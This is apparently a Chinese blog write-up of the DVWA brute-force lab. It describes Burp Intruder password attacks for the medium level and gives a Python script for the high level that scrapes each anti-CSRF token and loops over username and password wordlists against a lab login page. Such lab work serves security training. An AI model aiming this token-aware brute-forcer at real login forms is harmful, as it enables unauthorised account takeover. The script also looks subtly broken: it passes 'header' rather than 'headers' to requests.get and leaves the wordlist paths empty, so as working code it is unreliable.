DVWA Brute Force爆破

发布时间 2023-04-21 13:58:29作者: 挖洞404

1、介绍

该功能演示的是账号密码场景,对密码的爆破,对账号是已知的。

本章仅进行简单记录,相关技术在其他文章整理。比如burp使用,php代码,python脚本。

2、简单型

没有做任何处理,可以爆破掉,但实际也可以sql注入。(burp爆破由中等演示,sql注入在sql注入模块演示)

3、中等

做了sql注入预防,burp爆掉。

(1)设置等级为medium中等。

(2)输入正确的username,和错误的password。提交。

(3)burp监听,对关键请求发送到intruder模块。

所谓的关键请求,一般是指携带参数提交的请求,可以基于此在burp中直接查找,也可以先在浏览器F12确定提交过程中发出的请求,锁定关键请求后再在burp中查找。

(4)设置password为攻击点,设置payload集合

4、高等

做了token机制,需要脚本,从每次响应中读取token作为下一请求的参数。以python脚本为例。

from bs4 import BeautifulSoup
import requests

header={
    'User-Agent':'',
    'Cookie':''# 该cookie实际是登录dvwa的凭证
}
url = 'http://192.168.93.134/dvwa/vulnerabilities/brute/'
def get_token(url,headers):
    r = requests.get(url, headers=header)
    html = r.content.decode()
    soup = BeautifulSoup(html, "html.parser")
    user_token = soup.find_all('input')[3]["value"]
    return user_token

i=0
for admin in open(""):
    for line in open(""):
        u_token = get_token(url, header)
        username = admin.strip()
        password = line.strip()
        payload = {"username":username, "password":password, "Login":"Login", "user_token":u_token}
        i = i+1
        response = requests.get(url, params=payload, header=header)
        print(i, username,password,len(response.content.decode()))
        u_token=get_token(url,header)

5、不可能

限制失败次数,等待时间再次尝试